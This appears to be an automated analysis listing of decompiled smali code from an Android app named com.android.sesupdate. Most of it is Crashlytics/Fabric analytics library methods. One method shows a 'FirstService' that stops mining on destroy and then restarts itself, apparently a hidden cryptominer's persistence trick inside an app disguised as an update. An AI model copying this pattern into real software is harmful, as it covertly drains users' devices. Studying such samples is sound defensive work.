                          21invoke-virtual {p0, v0}, Lcom/android/sesupdate/MainApplication;->startActivity(Landroid/content/Intent;)V
                          22cond_21: return-void
                          Cross References
                          APIs
                          • java.lang.Long.longValue
                          • java.math.BigDecimal.<init>
                          • java.math.BigDecimal.divide
                          • java.math.BigDecimal.doubleValue
                          • java.lang.Double.valueOf
                          Position Instruction Meta Information
                          0.param p1, "o" # Ljava/lang/Object;
                          1.prologue
                          2move-object v0, p1
                          3check-cast v0, Ljava/lang/Long;
                          4if-nez v0, :cond_7
                          5const/4 v1, 0x0
                          6goto_6: return-object v1
                          7cond_7: new-instance v1, Ljava/math/BigDecimal;
                          8check-cast p1, Ljava/lang/Long;
                          10invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
                          11move-result-wide v2
                          13invoke-direct {v1, v2, v3}, Ljava/math/BigDecimal;-><init>(J)V
                          15sget-object v2, Lcom/crashlytics/android/answers/AddToCartEvent;->MICRO_CONSTANT:Ljava/math/BigDecimal;
                          17invoke-virtual {v1, v2}, Ljava/math/BigDecimal;->divide(Ljava/math/BigDecimal;)Ljava/math/BigDecimal;
                          18move-result-object v1
                          20invoke-virtual {v1}, Ljava/math/BigDecimal;->doubleValue()D
                          21move-result-wide v2
                          23invoke-static {v2, v3}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
                          24move-result-object v1
                          25goto/16 :goto_6
                          Cross References
                          APIs
                          • java.util.HashSet.<init>
                          • com.crashlytics.android.answers.SamplingEventFilter$1.add
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-direct {p0}, Ljava/util/HashSet;-><init>()V
                          4sget-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->START:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          6invoke-virtual {p0, v0}, Lcom/crashlytics/android/answers/SamplingEventFilter$1;->add(Ljava/lang/Object;)Z
                          8sget-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->RESUME:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          10invoke-virtual {p0, v0}, Lcom/crashlytics/android/answers/SamplingEventFilter$1;->add(Ljava/lang/Object;)Z
                          12sget-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->PAUSE:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          14invoke-virtual {p0, v0}, Lcom/crashlytics/android/answers/SamplingEventFilter$1;->add(Ljava/lang/Object;)Z
                          16sget-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->STOP:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          18invoke-virtual {p0, v0}, Lcom/crashlytics/android/answers/SamplingEventFilter$1;->add(Ljava/lang/Object;)Z
                          19return-void
                          Cross References
                          APIs
                          • android.content.ContextWrapper.getDatabasePath
                          • java.io.File.getParentFile
                          • java.io.File.<init>
                          • java.io.File.mkdirs
                          • java.io.File.<init>
                          Position Instruction Meta Information
                          0.param p1, "name" # Ljava/lang/String;
                          1.prologue
                          2new-instance v0, Ljava/io/File;
                          4invoke-super {p0, p1}, Landroid/content/ContextWrapper;->getDatabasePath(Ljava/lang/String;)Ljava/io/File;
                          5move-result-object v1
                          7invoke-virtual {v1}, Ljava/io/File;->getParentFile()Ljava/io/File;
                          8move-result-object v1
                          10iget-object v2, p0, Lio/fabric/sdk/android/FabricContext;->componentPath:Ljava/lang/String;
                          12invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                          14invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
                          15new-instance v1, Ljava/io/File;
                          17invoke-direct {v1, v0, p1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                          18return-object v1
                          APIs
                          • android.app.Service.onDestroy
                          • com.android.sesupdate.services.FirstService.stopMining
                          • com.android.sesupdate.services.FirstService.getApplicationContext
                          • android.content.Intent.<init>
                          • com.android.sesupdate.services.FirstService.startService
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
                          4invoke-virtual {p0}, Lcom/android/sesupdate/services/FirstService;->stopMining()V
                          5new-instance v0, Landroid/content/Intent;
                          7invoke-virtual {p0}, Lcom/android/sesupdate/services/FirstService;->getApplicationContext()Landroid/content/Context;
                          8move-result-object v1
                          9const-class v2, Lcom/android/sesupdate/services/FirstService;
                          11invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          13invoke-virtual {p0, v0}, Lcom/android/sesupdate/services/FirstService;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                          14return-void
                          Cross References
                          APIs
                          • java.util.concurrent.ScheduledExecutorService.schedule
                          • java.util.concurrent.atomic.AtomicReference.compareAndSet
                          Strings
                          • Answers
                          • Failed to schedule background detector
                          Position Instruction Meta Information
                          0.prologue
                          1iget-boolean v1, p0, Lcom/crashlytics/android/answers/BackgroundManager;->flushOnBackground:Z
                          2if-eqz v1, :cond_20
                          3iget-boolean v1, p0, Lcom/crashlytics/android/answers/BackgroundManager;->inBackground:Z
                          4if-nez v1, :cond_20
                          5const/4 v1, 0x1
                          6iput-boolean v1, p0, Lcom/crashlytics/android/answers/BackgroundManager;->inBackground:Z
                          7try_start_b:
                          8iget-object v1, p0, Lcom/crashlytics/android/answers/BackgroundManager;->backgroundFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          9const/4 v2, 0x0
                          11iget-object v3, p0, Lcom/crashlytics/android/answers/BackgroundManager;->executorService:Ljava/util/concurrent/ScheduledExecutorService;
                          12new-instance v4, Lcom/crashlytics/android/answers/BackgroundManager$1;
                          14invoke-direct {v4, p0}, Lcom/crashlytics/android/answers/BackgroundManager$1;-><init>(Lcom/crashlytics/android/answers/BackgroundManager;)V
                          15const-wide/16 v6, 0x1388
                          17sget-object v5, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
                          19invoke-interface {v3, v4, v6, v7, v5}, Ljava/util/concurrent/ScheduledExecutorService;->schedule(Ljava/lang/Runnable;JLjava/util/concurrent/TimeUnit;)Ljava/util/concurrent/ScheduledFuture;
                          20move-result-object v3
                          22invoke-virtual {v1, v2, v3}, Ljava/util/concurrent/atomic/AtomicReference;->compareAndSet(Ljava/lang/Object;Ljava/lang/Object;)Z
                          23goto_20: return-void
                          24catch_21: move-exception v0
                          26invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          27move-result-object v1
                          29const-string v2, "Answers"
                          31const-string v3, "Failed to schedule background detector"
                          33invoke-interface {v1, v2, v3, v0}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          34goto/16 :goto_20
                          APIs
                          • java.lang.IllegalArgumentException.<init>
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • initializationCallback must not be null.
                          • initializationCallback already set.
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(",
                          3"Lio/fabric/sdk/android/InitializationCallback",
                          4"<",
                          5"Lio/fabric/sdk/android/Fabric;",
                          6">;)",
                          7"Lio/fabric/sdk/android/Fabric$Builder;"
                          8}
                          9.end annotation
                          10.prologue
                          11if-nez p1, :cond_a
                          12new-instance v0, Ljava/lang/IllegalArgumentException;
                          14const-string v1, "initializationCallback must not be null."
                          16invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                          17throw v0
                          18cond_a:
                          19iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->initializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          20if-eqz v0, :cond_16
                          21new-instance v0, Ljava/lang/IllegalStateException;
                          23const-string v1, "initializationCallback already set."
                          25invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          26throw v0
                          27cond_16: iput-object p1, p0, Lio/fabric/sdk/android/Fabric$Builder;->initializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          28return-object p0
                          Cross References
                          APIs
                          • java.util.concurrent.ScheduledExecutorService.submit
                          • java.util.concurrent.Future.get
                          Strings
                          • Answers
                          • Failed to run events task
                          Position Instruction Meta Information
                          0.param p1, "runnable" # Ljava/lang/Runnable;
                          1.prologue
                          2try_start_0:
                          3iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler;->executor:Ljava/util/concurrent/ScheduledExecutorService;
                          5invoke-interface {v1, p1}, Ljava/util/concurrent/ScheduledExecutorService;->submit(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
                          6move-result-object v1
                          8invoke-interface {v1}, Ljava/util/concurrent/Future;->get()Ljava/lang/Object;
                          9goto_9: return-void
                          10catch_a: move-exception v0
                          12invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          13move-result-object v1
                          15const-string v2, "Answers"
                          17const-string v3, "Failed to run events task"
                          19invoke-interface {v1, v2, v3, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          20goto/16 :goto_9
                          APIs
                          • java.lang.NullPointerException.<init>
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • Answers Kit must not be null.
                          • Answers Kit already set.
                          Position Instruction Meta Information
                          0.param p1, "answers" # Lcom/crashlytics/android/answers/Answers;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "Answers Kit must not be null."
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a:
                          10iget-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->answers:Lcom/crashlytics/android/answers/Answers;
                          11if-eqz v0, :cond_16
                          12new-instance v0, Ljava/lang/IllegalStateException;
                          14const-string v1, "Answers Kit already set."
                          16invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          17throw v0
                          18cond_16: iput-object p1, p0, Lcom/crashlytics/android/Crashlytics$Builder;->answers:Lcom/crashlytics/android/answers/Answers;
                          19return-object p0
                          APIs
                          • java.lang.NullPointerException.<init>
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • Beta Kit must not be null.
                          • Beta Kit already set.
                          Position Instruction Meta Information
                          0.param p1, "beta" # Lcom/crashlytics/android/beta/Beta;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "Beta Kit must not be null."
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a:
                          10iget-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->beta:Lcom/crashlytics/android/beta/Beta;
                          11if-eqz v0, :cond_16
                          12new-instance v0, Ljava/lang/IllegalStateException;
                          14const-string v1, "Beta Kit already set."
                          16invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          17throw v0
                          18cond_16: iput-object p1, p0, Lcom/crashlytics/android/Crashlytics$Builder;->beta:Lcom/crashlytics/android/beta/Beta;
                          19return-object p0
                          APIs
                          • java.lang.NullPointerException.<init>
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • CrashlyticsCore Kit must not be null.
                          • CrashlyticsCore Kit already set.
                          Position Instruction Meta Information
                          0.param p1, "core" # Lcom/crashlytics/android/core/CrashlyticsCore;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "CrashlyticsCore Kit must not be null."
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a:
                          10iget-object v0, p0, Lcom/crashlytics/android/Crashlytics$Builder;->core:Lcom/crashlytics/android/core/CrashlyticsCore;
                          11if-eqz v0, :cond_16
                          12new-instance v0, Ljava/lang/IllegalStateException;
                          14const-string v1, "CrashlyticsCore Kit already set."
                          16invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          17throw v0
                          18cond_16: iput-object p1, p0, Lcom/crashlytics/android/Crashlytics$Builder;->core:Lcom/crashlytics/android/core/CrashlyticsCore;
                          19return-object p0
                          APIs
                          • java.lang.IllegalArgumentException.<init>
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • appIdentifier must not be null.
                          • appIdentifier already set.
                          Position Instruction Meta Information
                          0.param p1, "appIdentifier" # Ljava/lang/String;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/IllegalArgumentException;
                          5const-string v1, "appIdentifier must not be null."
                          7invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a:
                          10iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->appIdentifier:Ljava/lang/String;
                          11if-eqz v0, :cond_16
                          12new-instance v0, Ljava/lang/IllegalStateException;
                          14const-string v1, "appIdentifier already set."
                          16invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          17throw v0
                          18cond_16: iput-object p1, p0, Lio/fabric/sdk/android/Fabric$Builder;->appIdentifier:Ljava/lang/String;
                          19return-object p0
                          APIs
                          • java.lang.IllegalArgumentException.<init>
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • appInstallIdentifier must not be null.
                          • appInstallIdentifier already set.
                          Position Instruction Meta Information
                          0.param p1, "appInstallIdentifier" # Ljava/lang/String;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/IllegalArgumentException;
                          5const-string v1, "appInstallIdentifier must not be null."
                          7invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a:
                          10iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->appInstallIdentifier:Ljava/lang/String;
                          11if-eqz v0, :cond_16
                          12new-instance v0, Ljava/lang/IllegalStateException;
                          14const-string v1, "appInstallIdentifier already set."
                          16invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          17throw v0
                          18cond_16: iput-object p1, p0, Lio/fabric/sdk/android/Fabric$Builder;->appInstallIdentifier:Ljava/lang/String;
                          19return-object p0
                          APIs
                          • java.lang.IllegalArgumentException.<init>
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • Logger must not be null.
                          • Logger already set.
                          Position Instruction Meta Information
                          0.param p1, "logger" # Lio/fabric/sdk/android/Logger;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/IllegalArgumentException;
                          5const-string v1, "Logger must not be null."
                          7invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a:
                          10iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->logger:Lio/fabric/sdk/android/Logger;
                          11if-eqz v0, :cond_16
                          12new-instance v0, Ljava/lang/IllegalStateException;
                          14const-string v1, "Logger already set."
                          16invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          17throw v0
                          18cond_16: iput-object p1, p0, Lio/fabric/sdk/android/Fabric$Builder;->logger:Lio/fabric/sdk/android/Logger;
                          19return-object p0
                          APIs
                          • java.lang.IllegalArgumentException.<init>
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • PriorityThreadPoolExecutor must not be null.
                          • PriorityThreadPoolExecutor already set.
                          Position Instruction Meta Information
                          0.param p1, "threadPoolExecutor" # Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/IllegalArgumentException;
                          5const-string v1, "PriorityThreadPoolExecutor must not be null."
                          7invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a:
                          10iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->threadPoolExecutor:Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;
                          11if-eqz v0, :cond_16
                          12new-instance v0, Ljava/lang/IllegalStateException;
                          14const-string v1, "PriorityThreadPoolExecutor already set."
                          16invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          17throw v0
                          18cond_16: iput-object p1, p0, Lio/fabric/sdk/android/Fabric$Builder;->threadPoolExecutor:Lio/fabric/sdk/android/services/concurrency/PriorityThreadPoolExecutor;
                          19return-object p0
                          Cross References
                          APIs
                          • java.util.Set.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • android.app.Application.unregisterActivityLifecycleCallbacks
                          Position Instruction Meta Information
                          0.annotation build Landroid/annotation/TargetApi;
                          1value = 0xe
                          2.end annotation
                          3.prologue
                          5iget-object v1, p0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;->registeredCallbacks:Ljava/util/Set;
                          7invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                          8move-result-object v1
                          9goto_6:
                          10invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                          11move-result v2
                          12if-eqz v2, :cond_18
                          14invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          15move-result-object v0
                          16check-cast v0, Landroid/app/Application$ActivityLifecycleCallbacks;
                          18iget-object v2, p0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;->application:Landroid/app/Application;
                          20invoke-virtual {v2, v0}, Landroid/app/Application;->unregisterActivityLifecycleCallbacks(Landroid/app/Application$ActivityLifecycleCallbacks;)V
                          21goto/16 :goto_6
                          22cond_18: return-void
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.common.DeliveryMechanism.determineFrom
                          • io.fabric.sdk.android.services.common.DeliveryMechanism.getId
                          Strings
                          • 0
                          Position Instruction Meta Information
                          0.param p1, "iconRequest" # Lio/fabric/sdk/android/services/settings/IconRequest;
                          1.annotation system Ldalvik/annotation/Signature;
                          2value = {
                          3"(",
                          4"Lio/fabric/sdk/android/services/settings/IconRequest;",
                          5"Ljava/util/Collection",
                          6"<",
                          7"Lio/fabric/sdk/android/KitInfo;",
                          8">;)",
                          9"Lio/fabric/sdk/android/services/settings/AppRequestData;"
                          10}
                          11.end annotation
                          12.prologue
                          14invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getContext()Landroid/content/Context;
                          15move-result-object v13
                          16new-instance v0, Lio/fabric/sdk/android/services/common/ApiKey;
                          18invoke-direct {v0}, Lio/fabric/sdk/android/services/common/ApiKey;-><init>()V
                          20invoke-virtual {v0, v13}, Lio/fabric/sdk/android/services/common/ApiKey;->getValue(Landroid/content/Context;)Ljava/lang/String;
                          21move-result-object v1
                          23invoke-static {v13}, Lio/fabric/sdk/android/services/common/CommonUtils;->resolveBuildId(Landroid/content/Context;)Ljava/lang/String;
                          24move-result-object v12
                          25const/4 v0, 0x1
                          26new-array v0, v0, [Ljava/lang/String;
                          27const/4 v3, 0x0
                          28aput-object v12, v0, v3
                          30invoke-static {v0}, Lio/fabric/sdk/android/services/common/CommonUtils;->createInstanceIdFrom([Ljava/lang/String;)Ljava/lang/String;
                          31move-result-object v5
                          33iget-object v0, p0, Lio/fabric/sdk/android/Onboarding;->installerPackageName:Ljava/lang/String;
                          35invoke-static {v0}, Lio/fabric/sdk/android/services/common/DeliveryMechanism;->determineFrom(Ljava/lang/String;)Lio/fabric/sdk/android/services/common/DeliveryMechanism;
                          36move-result-object v0
                          38invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/DeliveryMechanism;->getId()I
                          39move-result v7
                          41invoke-virtual {p0}, Lio/fabric/sdk/android/Onboarding;->getIdManager()Lio/fabric/sdk/android/services/common/IdManager;
                          42move-result-object v0
                          44invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/IdManager;->getAppIdentifier()Ljava/lang/String;
                          45move-result-object v2
                          46new-instance v0, Lio/fabric/sdk/android/services/settings/AppRequestData;
                          48iget-object v3, p0, Lio/fabric/sdk/android/Onboarding;->versionName:Ljava/lang/String;
                          50iget-object v4, p0, Lio/fabric/sdk/android/Onboarding;->versionCode:Ljava/lang/String;
                          52iget-object v6, p0, Lio/fabric/sdk/android/Onboarding;->applicationLabel:Ljava/lang/String;
                          54iget-object v8, p0, Lio/fabric/sdk/android/Onboarding;->targetAndroidSdkVersion:Ljava/lang/String;
                          56const-string v9, "0"
                          57move-object v10, p1
                          58move-object/from16 v11, p2
                          60invoke-direct/range {v0 .. v11}, Lio/fabric/sdk/android/services/settings/AppRequestData;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;Ljava/lang/String;Lio/fabric/sdk/android/services/settings/IconRequest;Ljava/util/Collection;)V
                          61return-object v0
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logAddToCart
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/AddToCartEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logAddToCart"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logContentView
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/ContentViewEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logContentView"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logCustom
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/CustomEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logCustom"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onCustom(Lcom/crashlytics/android/answers/CustomEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logInvite
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/InviteEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logInvite"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logLevelEnd
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/LevelEndEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logLevelEnd"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logLevelStart
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/LevelStartEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logLevelStart"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
                          17iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          18if-eqz v0, :cond_13
                          20iget-object v0, p0, Lcom/crashlytics/android/answers/Answers;->analyticsManager:Lcom/crashlytics/android/answers/SessionAnalyticsManager;
                          22invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsManager;->onPredefined(Lcom/crashlytics/android/answers/PredefinedEvent;)V
                          23goto/16 :goto_13
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • event must not be null
                          • logLogin
                          Position Instruction Meta Information
                          0.param p1, "event" # Lcom/crashlytics/android/answers/LoginEvent;
                          1.prologue
                          2if-nez p1, :cond_a
                          3new-instance v0, Ljava/lang/NullPointerException;
                          5const-string v1, "event must not be null"
                          7invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          8throw v0
                          9cond_a: iget-boolean v0, p0, Lcom/crashlytics/android/answers/Answers;->firebaseEnabled:Z
                          10if-eqz v0, :cond_14
                          12const-string v0, "logLogin"
                          14invoke-direct {p0, v0}, Lcom/crashlytics/android/answers/Answers;->logFirebaseModeEnabledWarning(Ljava/lang/String;)V
                          15goto_13: return-void
                          16cond_14:
